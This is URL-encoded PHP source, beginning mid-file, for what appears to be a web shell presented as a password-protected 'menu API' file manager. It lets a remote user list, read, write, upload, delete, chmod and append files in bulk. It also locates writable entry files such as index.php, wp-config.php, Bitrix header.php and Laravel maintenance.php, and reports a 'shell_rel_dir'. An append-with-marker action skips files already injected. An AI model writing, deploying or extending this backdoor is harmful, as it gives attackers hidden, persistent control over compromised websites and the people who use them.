+true+));+}+_at();+switch+($action)+{+case+'list':+_ba(array('GET',+'POST'));+_aw($baseDirectory);+break;+case+'read':+_ba(array('GET',+'POST'));+_ar($baseDirectory);+break;+case+'write':+_ba(array('POST'));+_aq($baseDirectory);+break;+case+'upload':+_ba(array('POST'));+_aa($baseDirectory);+break;+case+'rename':+_ba(array('POST'));+_az($baseDirectory);+break;+case+'delete':+_ba(array('POST'));+_ad($baseDirectory);+break;+case+'chmod':+_ba(array('POST'));+_be($baseDirectory);+break;+case+'append':+_ba(array('POST'));+_am($baseDirectory);+break;+case+'batch':+_ba(array('POST'));+_af($baseDirectory);+break;+case+'site_info':+_ba(array('GET',+'POST'));+_bb($baseDirectory);+break;+case+'server_info':+_ba(array('GET',+'POST'));+_av();+break;+default:+_al(404,+'不支持的+action:+'+.+$action);+}+function+_aw($baseDirectory)+{+$relativeDirectory+=+_ay('directory',+'');+$directory+=+_bd($baseDirectory,+$relativeDirectory);+if+($directory+===+false+||+!is_dir($directory))+{+_al(400,+'目录不存在或超出允许范围');+}+$fileList+=+scandir($directory);+if+($fileList+===+false)+{+_al(500,+'读取目录失败');+}+$items+=+array();+foreach+($fileList+as+$file)+{+if+($file+===+'.'+||+$file+===+'..')+{+continue;+}+$filePath+=+$directory+.+DIRECTORY_SEPARATOR+.+$file;+$isDirectory+=+is_dir($filePath);+$size+=+$isDirectory+?+null+:+@filesize($filePath);+$modifiedTimestamp+=+@filemtime($filePath);+$items[]+=+array(+'name'+=>+$file,+'path'+=>+_au($filePath,+$baseDirectory),+'type'+=>+$isDirectory+?+'directory'+:+'file',+'is_dir'+=>+$isDirectory,+'size'+=>+$size+===+false+?+null+:+$size,+'size_human'+=>+$isDirectory+?+'-'+:+_an($size),+'modified_at'+=>+$modifiedTimestamp+?+date('Y-m-d+H:i:s',+$modifiedTimestamp)+:+null,+'readable'+=>+is_readable($filePath),+'writable'+=>+is_writable($filePath)+);+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'目录读取成功',+'data'+=>+array(+'directory'+=>+_au($directory,+$baseDirectory),+'parent_directory'+=>+_ax($directory,+$baseDirectory),+'breadcrumbs'+=>+_ae($directory,+$baseDirectory),+'items'+=>+$items+)+));+}+function+_ar($baseDirectory)+{+$relativePath+=+_ay('path',+_ay('edit',+''));+$filePath+=+_bd($baseDirectory,+$relativePath);+if+($filePath+===+false+||+!is_file($filePath))+{+_al(404,+'文件不存在或超出允许范围');+}+$content+=+@file_get_contents($filePath);+if+($content+===+false)+{+_al(500,+'读取文件失败');+}+$fileSize+=+@filesize($filePath);+$modifiedTimestamp+=+@filemtime($filePath);+_ah(200,+array(+'success'+=>+true,+'message'+=>+'文件读取成功',+'data'+=>+array(+'name'+=>+basename($filePath),+'path'+=>+_au($filePath,+$baseDirectory),+'size'+=>+$fileSize+===+false+?+null+:+$fileSize,+'size_human'+=>+_an($fileSize),+'modified_at'+=>+$modifiedTimestamp+?+date('Y-m-d+H:i:s',+$modifiedTimestamp)+:+null,+'content'+=>+$content+)+));+}+function+_aq($baseDirectory)+{+$relativePath+=+_ay('path',+_ay('edit',+''));+$content+=+_ay('content',+_ay('fileContent',+null));+if+($relativePath+===+'')+{+_al(400,+'缺少+path+参数');+}+if+($content+===+null)+{+_al(400,+'缺少+content+参数');+}+$targetPath+=+_ak($baseDirectory,+$relativePath);+if+($targetPath+===+false)+{+_al(400,+'目标路径无效或超出允许范围');+}+if+(is_dir($targetPath))+{+_al(400,+'不能把目录当作文件写入');+}+$written+=+@file_put_contents($targetPath,+$content,+LOCK_EX);+if+($written+===+false)+{+_al(500,+'写入文件失败');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'文件写入成功',+'data'+=>+array(+'path'+=>+_au($targetPath,+$baseDirectory),+'bytes'+=>+$written+)+));+}+function+_aa($baseDirectory)+{+$relativeDirectory+=+_ay('directory',+'');+$directory+=+_bd($baseDirectory,+$relativeDirectory);+if+($directory+===+false+||+!is_dir($directory))+{+_al(400,+'上传目录不存在或超出允许范围');+}+$upload+=+null;+if+(isset($_FILES['uploadFile']))+{+$upload+=+$_FILES['uploadFile'];+}+elseif+(isset($_FILES['file']))+{+$upload+=+$_FILES['file'];+}+if+(!is_array($upload))+{+_al(400,+'缺少上传文件');+}+if+(!isset($upload['error'])+||+(int)+$upload['error']+!==+UPLOAD_ERR_OK)+{+_al(400,+'文件上传失败，错误码:+'+.+(isset($upload['error'])+?+$upload['error']+:+'unknown'));+}+if+(!isset($upload['name'])+||+trim($upload['name'])+===+'')+{+_al(400,+'上传文件名不能为空');+}+$targetRelativePath+=+trim(_au($directory,+$baseDirectory)+.+'/'+.+basename($upload['name']),+'/');+$targetPath+=+_ak($baseDirectory,+$targetRelativePath);+if+($targetPath+===+false)+{+_al(400,+'上传目标路径无效或超出允许范围');+}+if+(!@move_uploaded_file($upload['tmp_name'],+$targetPath))+{+_al(500,+'保存上传文件失败');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'文件上传成功',+'data'+=>+array(+'path'+=>+_au($targetPath,+$baseDirectory),+'size'+=>+isset($upload['size'])+?+(int)+$upload['size']+:+null+)+));+}+function+_az($baseDirectory)+{+$relativePath+=+_ay('path',+_ay('fileName',+''));+$newName+=+_ay('new_name',+_ay('copyName',+''));+if+($relativePath+===+'')+{+_al(400,+'缺少+path+参数');+}+if+($newName+===+'')+{+_al(400,+'缺少+new_name+参数');+}+if+(basename($newName)+!==+$newName+||+$newName+===+'.'+||+$newName+===+'..')+{+_al(400,+'new_name+只能是文件名，不能包含路径');+}+$sourcePath+=+_bd($baseDirectory,+$relativePath);+if+($sourcePath+===+false+||+!file_exists($sourcePath))+{+_al(404,+'源文件不存在或超出允许范围');+}+$targetPath+=+dirname($sourcePath)+.+DIRECTORY_SEPARATOR+.+$newName;+if+(!_ag(realpath(dirname($targetPath)),+$baseDirectory))+{+_al(400,+'目标路径超出允许范围');+}+if+(file_exists($targetPath)+||+is_link($targetPath))+{+_al(409,+'目标文件已存在');+}+if+(@rename($sourcePath,+$targetPath)+===+false)+{+_al(500,+'重命名失败');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'重命名成功',+'data'+=>+array(+'old_path'+=>+_au($sourcePath,+$baseDirectory),+'new_path'+=>+_au($targetPath,+$baseDirectory)+)+));+}+function+_ad($baseDirectory)+{+$paths+=+_ai();+if+(count($paths)+===+0)+{+_al(400,+'缺少待删除的+paths+参数');+}+$deleted+=+array();+$errors+=+array();+foreach+($paths+as+$relativePath)+{+$targetPath+=+_bd($baseDirectory,+$relativePath);+if+($targetPath+===+false+||+!file_exists($targetPath))+{+$errors[]+=+array('path'+=>+$relativePath,+'message'+=>+'文件不存在或路径无效');+continue;+}+if+(is_dir($targetPath))+{+$errors[]+=+array('path'+=>+$relativePath,+'message'+=>+'暂不支持删除目录');+continue;+}+if+(@unlink($targetPath)+===+false)+{+$errors[]+=+array('path'+=>+$relativePath,+'message'+=>+'删除失败');+continue;+}+$deleted[]+=+$relativePath;+}+_ah(200,+array(+'success'+=>+count($errors)+===+0,+'message'+=>+count($errors)+===+0+?+'删除成功'+:+'删除完成，部分失败',+'data'+=>+array(+'deleted'+=>+$deleted,+'errors'+=>+$errors+)+));+}+function+_am($baseDirectory)+{+$relativePath+=+_ay('path',+'');+$content+=+_ay('content',+null);+$marker+=+_ay('marker',+'');+if+($relativePath+===+'')+{+_al(400,+'缺少+path+参数');+}+if+($content+===+null)+{+_al(400,+'缺少+content+参数');+}+$targetPath+=+_bd($baseDirectory,+$relativePath);+if+($targetPath+===+false+||+!is_file($targetPath))+{+$targetPath+=+_ak($baseDirectory,+$relativePath);+if+($targetPath+===+false)+{+_al(400,+'路径无效');+}+$written+=+@file_put_contents($targetPath,+$content,+LOCK_EX);+if+($written+===+false)+{+_al(500,+'创建文件失败（无权限）');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'文件已创建',+'data'+=>+array('path'+=>+_au($targetPath,+$baseDirectory),+'action'+=>+'created',+'bytes'+=>+$written)+));+}+if+($marker+!==+'')+{+$existing+=+@file_get_contents($targetPath);+if+($existing+!==+false+&&+strpos($existing,+$marker)+!==+false)+{+_ah(200,+array(+'success'+=>+true,+'message'+=>+'已存在，跳过',+'data'+=>+array('path'+=>+_au($targetPath,+$baseDirectory),+'action'+=>+'skipped')+));+}+}+$written+=+@file_put_contents($targetPath,+$content,+FILE_APPEND+|+LOCK_EX);+if+($written+===+false)+{+_al(500,+'追加失败（无权限）');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'追加成功',+'data'+=>+array('path'+=>+_au($targetPath,+$baseDirectory),+'action'+=>+'appended',+'bytes'+=>+$written)+));+}+function+_af($baseDirectory)+{+$raw+=+_ay('ops',+null);+if+($raw+===+null)+{+_al(400,+'缺少+ops+参数（JSON+数组）');+}+$ops+=+is_array($raw)+?+$raw+:+json_decode($raw,+true);+if+(!is_array($ops)+||+count($ops)+===+0)+{+_al(400,+'ops+必须是非空数组');+}+$results+=+array();+foreach+($ops+as+$idx+=>+$op)+{+$opAction+=+isset($op['action'])+?+$op['action']+:+'';+$result+=+array('index'+=>+$idx,+'action'+=>+$opAction,+'success'+=>+false);+switch+($opAction)+{+case+'write':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$content+=+isset($op['content'])+?+$op['content']+:+'';+$targetPath+=+_ak($baseDirectory,+$path);+if+($targetPath+!==+false)+{+$w+=+@file_put_contents($targetPath,+$content,+LOCK_EX);+$result['success']+=+$w+!==+false;+$result['path']+=+$path;+$result['bytes']+=+$w;+}+break;+case+'append':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$content+=+isset($op['content'])+?+$op['content']+:+'';+$marker+=+isset($op['marker'])+?+$op['marker']+:+'';+$targetPath+=+_bd($baseDirectory,+$path);+if+($targetPath+===+false)+{+$targetPath+=+_ak($baseDirectory,+$path);+if+($targetPath+!==+false)+{+$w+=+@file_put_contents($targetPath,+$content,+LOCK_EX);+$result['success']+=+$w+!==+false;+$result['path']+=+$path;+$result['op']+=+'created';+}+}+else+{+if+($marker+!==+'')+{+$existing+=+@file_get_contents($targetPath);+if+($existing+!==+false+&&+strpos($existing,+$marker)+!==+false)+{+$result['success']+=+true;+$result['path']+=+$path;+$result['op']+=+'skipped';+break;+}+}+$w+=+@file_put_contents($targetPath,+$content,+FILE_APPEND+|+LOCK_EX);+$result['success']+=+$w+!==+false;+$result['path']+=+$path;+$result['op']+=+'appended';+}+break;+case+'delete':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$targetPath+=+_bd($baseDirectory,+$path);+if+($targetPath+!==+false+&&+is_file($targetPath))+{+$result['success']+=+@unlink($targetPath);+$result['path']+=+$path;+}+break;+case+'chmod':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$mode+=+isset($op['mode'])+?+$op['mode']+:+'0644';+$targetPath+=+_bd($baseDirectory,+$path);+if+($targetPath+!==+false)+{+$result['success']+=+@chmod($targetPath,+intval($mode,+8));+$result['path']+=+$path;+}+break;+case+'exists':+$path+=+isset($op['path'])+?+$op['path']+:+'';+$targetPath+=+_bd($baseDirectory,+$path);+$result['success']+=+true;+$result['path']+=+$path;+$result['exists']+=+$targetPath+!==+false+&&+file_exists($targetPath);+$result['writable']+=+$targetPath+!==+false+&&+is_writable($targetPath);+break;+default:+$result['error']+=+'未知操作:+'+.+$opAction;+}+$results[]+=+$result;+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'批量操作完成',+'data'+=>+array('results'+=>+$results,+'total'+=>+count($results))+));+}+function+_bb($baseDirectory)+{+$scriptDir+=+realpath(dirname(__FILE__));+if+($scriptDir+===+false)+{+$scriptDir+=+dirname(__FILE__);+}+$docRoot+=+$baseDirectory;+$siteType+=+'generic';+$detectedFiles+=+array();+$wpIndicators+=+array('wp-config.php',+'wp-login.php',+'wp-blog-header.php');+foreach+($wpIndicators+as+$f)+{+if+(file_exists($docRoot+.+'/'+.+$f))+{+$siteType+=+'wordpress';+$detectedFiles[]+=+$f;+}+}+if+($siteType+===+'generic'+&&+is_dir($docRoot+.+'/bitrix'))+{+$siteType+=+'bitrix';+$detectedFiles[]+=+'bitrix/';+if+(file_exists($docRoot+.+'/bitrix/header.php'))+{+$detectedFiles[]+=+'bitrix/header.php';+}+}+if+($siteType+===+'generic'+&&+is_dir($docRoot+.+'/storage/framework'))+{+$siteType+=+'laravel';+$detectedFiles[]+=+'storage/framework/';+}+$indexFiles+=+array();+$candidates+=+array('index.php',+'index.html',+'index.htm',+'index.asp');+foreach+($candidates+as+$f)+{+$fp+=+$docRoot+.+'/'+.+$f;+if+(file_exists($fp))+{+$indexFiles[]+=+array(+'path'+=>+$f,+'writable'+=>+is_writable($fp),+'size'+=>+filesize($fp)+);+}+}+if+($siteType+===+'wordpress')+{+foreach+(array('wp-blog-header.php',+'wp-config.php')+as+$f)+{+$fp+=+$docRoot+.+'/'+.+$f;+if+(file_exists($fp))+{+$indexFiles[]+=+array(+'path'+=>+$f,+'writable'+=>+is_writable($fp),+'size'+=>+filesize($fp)+);+}+}+}+if+($siteType+===+'bitrix'+&&+file_exists($docRoot+.+'/bitrix/header.php'))+{+$indexFiles[]+=+array(+'path'+=>+'bitrix/header.php',+'writable'+=>+is_writable($docRoot+.+'/bitrix/header.php'),+'size'+=>+filesize($docRoot+.+'/bitrix/header.php')+);+}+if+($siteType+===+'laravel')+{+$mp+=+$docRoot+.+'/storage/framework/maintenance.php';+$indexFiles[]+=+array(+'path'+=>+'storage/framework/maintenance.php',+'writable'+=>+is_dir($docRoot+.+'/storage/framework'),+'size'+=>+file_exists($mp)+?+filesize($mp)+:+0+);+}+$subdirs+=+array();+foreach+(scandir($docRoot)+as+$f)+{+if+($f+===+'.'+||+$f+===+'..')+continue;+if+(is_dir($docRoot+.+'/'+.+$f))+{+$subdirs[]+=+array(+'name'+=>+$f,+'writable'+=>+is_writable($docRoot+.+'/'+.+$f)+);+}+}+$serverSw+=+isset($_SERVER['SERVER_SOFTWARE'])+?+$_SERVER['SERVER_SOFTWARE']+:+'unknown';+$isApache+=+stripos($serverSw,+'apache')+!==+false;+$shellRelDir+=+_au($scriptDir,+$docRoot);+if+($shellRelDir+===+$scriptDir+||+($shellRelDir+!==+''+&&+($shellRelDir[0]+===+'/'+||+preg_match('#^[A-Za-z]:/#',+$shellRelDir))))+{+$urlDir+=+dirname(isset($_SERVER['SCRIPT_NAME'])+?+$_SERVER['SCRIPT_NAME']+:+'');+$shellRelDir+=+ltrim(str_replace('\\',+'/',+$urlDir),+'/');+if+($shellRelDir+===+'.'+||+$shellRelDir+===+'/')+{+$shellRelDir+=+'';+}+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'ok',+'data'+=>+array(+'site_type'+=>+$siteType,+'server'+=>+$serverSw,+'is_apache'+=>+$isApache,+'php_version'+=>+phpversion(),+'document_root'+=>+$docRoot,+'script_dir'+=>+$scriptDir,+'shell_rel_dir'+=>+$shellRelDir,+'detected_files'+=>+$detectedFiles,+'index_files'+=>+$indexFiles,+'subdirs'+=>+$subdirs,+'writable'+=>+is_writable($scriptDir),+'os'+=>+PHP_OS+)+));+}+function+_be($baseDirectory)+{+$relativePath+=+_ay('path',+'');+$mode+=+_ay('mode',+'');+if+($relativePath+===+'')+{+_al(400,+'缺少+path+参数');+}+if+($mode+===+'')+{+_al(400,+'缺少+mode+参数');+}+$targetPath+=+_bd($baseDirectory,+$relativePath);+if+($targetPath+===+false+||+!file_exists($targetPath))+{+_al(404,+'文件不存在或超出允许范围');+}+$octalMode+=+intval($mode,+8);+if+($octalMode+===+0)+{+_al(400,+'无效的权限值:+'+.+$mode);+}+if+(@chmod($targetPath,+$octalMode)+===+false)+{+_al(500,+'修改权限失败');+}+_ah(200,+array(+'success'+=>+true,+'message'+=>+'权限修改成功',+'data'+=>+array(+'path'+=>+_au($targetPath,+$baseDirectory),+'mode'+=>+$mode,+'perms'+=>+substr(sprintf('%o',+fileperms($targetPath)),+-4)+)+));+}+function+_av()+{+$info+=+array(+'server_software'+=>+isset($_SERVER['SERVER_SOFTWARE'])+?+$_SERVER['SERVER_SOFTWARE']+:+'unknown',+'php_version'+=>+phpversion(),+'document_root'+=>+isset($_SERVER['DOCUMENT_ROOT'])+?+$_SERVER['DOCUMENT_ROOT']+:+'',+'script_dir'+=>+dirname(__FILE__),+'os'+=>+PHP_OS,+'disabled_functions'+=>+ini_get('disable_functions'),+'writable'+=>+is_writable(dirname(__FILE__))+);+_ah(200,+array(+'success'+=>+true,+'message'+=>+'ok',+'data'+=>+$info+));+}+function+_ba($allowedMethods)+{+$requestMethod+=+isset($_SERVER['REQUEST_METHOD'])+?+strtoupper($_SERVER['REQUEST_METHOD'])+:+'GET';+if+(!in_array($requestMethod,+$allowedMethods,+true))+{+_al(405,+'请求方法不被允许',+array('allow'+=>+$allowedMethods));+}+}+function+_ai()+{+$paths+=+_ay('paths',+null);+if+($paths+===+null)+{+$paths+=+_ay('deleteFiles',+null);+}+if+(is_array($paths))+{+return+_aj($paths);+}+if+(!is_string($paths)+||+trim($paths)+===+'')+{+return+array();+}+$trimmed+=+trim($paths);+if+(substr($trimmed,+0,+1)+===+'[')+{+$decoded+=+json_decode($trimmed,+true);+if+(is_array($decoded))+{+return+_aj($decoded);+}+}+return+_aj(explode(',',+$trimmed));+}+function+_aj($paths)+{+$result+=+array();+foreach+($paths+as+$path)+{+$normalized+=+_ab($path);+if+($normalized+!==+'')+{+$result[]+=+$normalized;+}+}+return+array_values(array_unique($result));+}+function+_at()+{+$configuredPassword+=+_ao();+if+($configuredPassword+===+'')+{+_al(500,+'服务端未配置操作密码，请设置+MENU_API_PASSWORD');+}+$providedPassword+=+_as();+if+($providedPassword+===+'')+{+_al(401,+'缺少操作密码');+}+if+(!_ac($configuredPassword,+$providedPassword))+{+_al(401,+'操作密码错误');+}+}+function+_ao()+{+$password+=+getenv('MENU_API_PASSWORD');+if+($password+===+false+||+$password+===+null+||+$password+===+'')+{+$password+=+MENU_API_PASSWORD;+}+return+(string)+$password;+}+function+_as()+{+$password+=+_ay('operation_password',+null);+if+($password+===+null+||+$password+===+'')+{+$password+=+_ay('op_password',+null);+}+if+($password+===+null+||+$password+===+'')+{+$password+=+_ay('password',+null);+}+if+(($password+===+null+||+$password+===+'')+&&+isset($_SERVER['HTTP_X_OPERATION_PASSWORD']))+{+$password+=+$_SERVER['HTTP_X_OPERATION_PASSWORD'];+}+if+(($password+===+null+||+$password+===+'')+&&+isset($_SERVER['HTTP_AUTHORIZATION']))+{+$authorization+=+trim($_SERVER['HTTP_AUTHORIZATION']);+if+(stripos($authorization,+'Bearer+')+===+0)+{+$password+=+substr($authorization,+7);+}+}+return+trim((string)+$password);+}+function+_ay($key,+$default)+{+$body+=+_bc();+if+(is_array($body)+&&+array_key_exists($key,+$body))+{+return+$body[$key];+}+if+(isset($_GET[$key]))+{+return+$_GET[$key];+}+return+$default;+}+function+_bc()+{+static+$body+=+null;+if+($body+!==+null)+{+return+$body;+}+$body+=+array();+$contentType+=+isset($_SERVER['CONTENT_TYPE'])+?+strtolower($_SERVER['CONTENT_TYPE'])+:+'';+if+(strpos($contentType,+'application/json')+!==+false)+{+$raw+=+file_get_contents('php://input');+if+($raw+!==+false+&&+trim($raw)+!==+'')+{+$decoded+=+json_decode($raw,+true);+if+(is_array($decoded))+{+$body+=+$decoded;+}+}+return+$body;+}+if+(!empty($_POST))+{+$body+=+$_POST;+}+return+$body;+}+function+_bd($baseDirectory,+$relativePath)+{+$relativePath+=+_ab($relativePath);+if+($relativePath+===+'')+{+return+$baseDirectory;+}+$candidate+=+realpath($baseDirectory+.+DIRECTORY_SEPARATOR+.+$relativePath);+if+($candidate+===+false)+{+return+false;+}+if+(!_ag($candidate,+$baseDirectory))+{+return+false;+}+return+$candidate;+}+function+_ak($baseDirectory,+$relativePath)+{+$relativePath+=+_ab($relativePath);+if+($relativePath+===+'')+{+return+false;+}+$candidate+=+$baseDirectory+.+DIRECTORY_SEPARATOR+.+$relativePath;+if+(file_exists($candidate)+||+is_link($candidate))+{+$resolved+=+realpath($candidate);+if+($resolved+===+false+||+!_ag($resolved,+$baseDirectory))+{+return+false;+}+return+$resolved;+}+$parentDirectory+=+realpath(dirname($candidate));+if+($parentDirectory+===+false+||+!_ag($parentDirectory,+$baseDirectory))+{+return+false;+}+return+$parentDirectory+.+DIRECTORY_SEPARATOR+.+basename($candidate);+}+function+_ab($path)+{+$path+=+trim(str_replace('\\',+'/',+(string)+$path));+if+($path+===+''+||+$path+===+'.'+||+$path+===+'/')+{+return+'';+}+$path+=+preg_replace('#/+#',+'/',+$path);+return+ltrim($path,+'/');+}+function+_ag($path,+$baseDirectory)+{+if+($path+===+false+||+$baseDirectory+===+false)+{+return+false;+}+$normalizedPath+=+rtrim(str_replace('\\',+'/',+$path),+'/');+$normalizedBase+=+rtrim(str_replace('\\',+'/',+$baseDirectory),+'/');+if+($normalizedPath+===+$normalizedBase)+{+return+true;+}+return+strpos($normalizedPath,+$normalizedBase+.+'/')+===+0;+}+function+_au($path,+$baseDirectory)+{+$normalizedPath+=+rtrim(str_replace('\\',+'/',+$path),+'/');+$normalizedBase+=+rtrim(str_replace('\\',+'/',+$baseDirectory),+'/');+if+($normalizedPath+===+$normalizedBase)+{+return+'';+}+if+(strpos($normalizedPath,+$normalizedBase+.+'/')+===+0)+{+return+ltrim(substr($normalizedPath,+strlen($normalizedBase)),+'/');+}+return+$normalizedPath;+}+function+_ax($directory,+$baseDirectory)+{+$relativeDirectory+=+_au($directory,+$baseDirectory);+if+($relativeDirectory+===+'')+{+return+null;+}+$parent+=+dirname($relativeDirectory);+if+($parent+===+'.'+||+$parent+===+DIRECTORY_SEPARATOR)+{+return+'';+}+return+str_replace('\\',+'/',+$parent);+}+function+_ae($directory,+$baseDirectory)+{+$breadcrumbs+=+array(+array('name'+=>+'Home',+'path'+=>+'')+);+$relativeDirectory+=+_au($directory,+$baseDirectory);+if+($relativeDirectory+===+'')+{+return+$breadcrumbs;+}+$pathParts+=+explode('/',+$relativeDirectory);+$pathLink+=+'';+foreach+($pathParts+as+$part)+{+if+($part+===+'')+{+continue;+}+$pathLink+.=+'/'+.+$part;+$breadcrumbs[]+=+array(+'name'+=>+$part,+'path'+=>+ltrim($pathLink,+'/')+);+}+return+$breadcrumbs;+}+function+_an($bytes,+$decimals+=+2)+{+if+($bytes+===+null+||+$bytes+===+false+||+!is_numeric($bytes)+||+$bytes+<+0)+{+return+null;+}+if+((float)+$bytes+===+0.0)+{+return+'0+B';+}+$units+=+array('B',+'KB',+'MB',+'GB',+'TB');+$factor+=+floor((strlen((string)+abs($bytes))+-+1)+/+3);+if+(!isset($units[$factor]))+{+$factor+=+count($units)+-+1;+}+return+sprintf("%.{$decimals}f",+$bytes+/+pow(1024,+$factor))+.+'+'+.+$units[$factor];+}+function+_ac($known,+$user)+{+if+(function_exists('hash_equals'))+{+return+hash_equals((string)+$known,+(string)+$user);+}+$known+=+(string)+$known;+$user+=+(string)+$user;+$knownLength+=+strlen($known);+$userLength+=+strlen($user);+$length+=+max($knownLength,+$userLength);+$result+=+$knownLength+^+$userLength;+for+($i+=+0;+$i+<+$length;+$i++)+{+$knownChar+=+$i+<+$knownLength+?+ord($known[$i])+:+0;+$userChar+=+$i+<+$userLength+?+ord($user[$i])+:+0;+$result+|=+($knownChar+^+$userChar);+}+return+$result+===+0;+}+function+_al($statusCode,+$message,+$extra+=+array())+{+$payload+=+array(+'success'+=>+false,+'message'+=>+$message+);+if+(!empty($extra))+{+$payload['data']+=+$extra;+}+_ah($statusCode,+$payload);+}+function+_ah($statusCode,+$payload)+{+_ap($statusCode);+header('Content-Type:+application/json;+charset=UTF-8');+$jsonOptions+=+0;+if+(defined('JSON_UNESCAPED_UNICODE'))+{+$jsonOptions+|=+JSON_UNESCAPED_UNICODE;+}+if+(defined('JSON_UNESCAPED_SLASHES'))+{+$jsonOptions+|=+JSON_UNESCAPED_SLASHES;+}+echo+json_encode($payload,+$jsonOptions);+exit;+}+function+_ap($statusCode)+{+if+(function_exists('http_response_code'))+{+http_response_code($statusCode);+return;+}+header('X-PHP-Response-Code:+'+.+$statusCode,+true,+$statusCode);+}+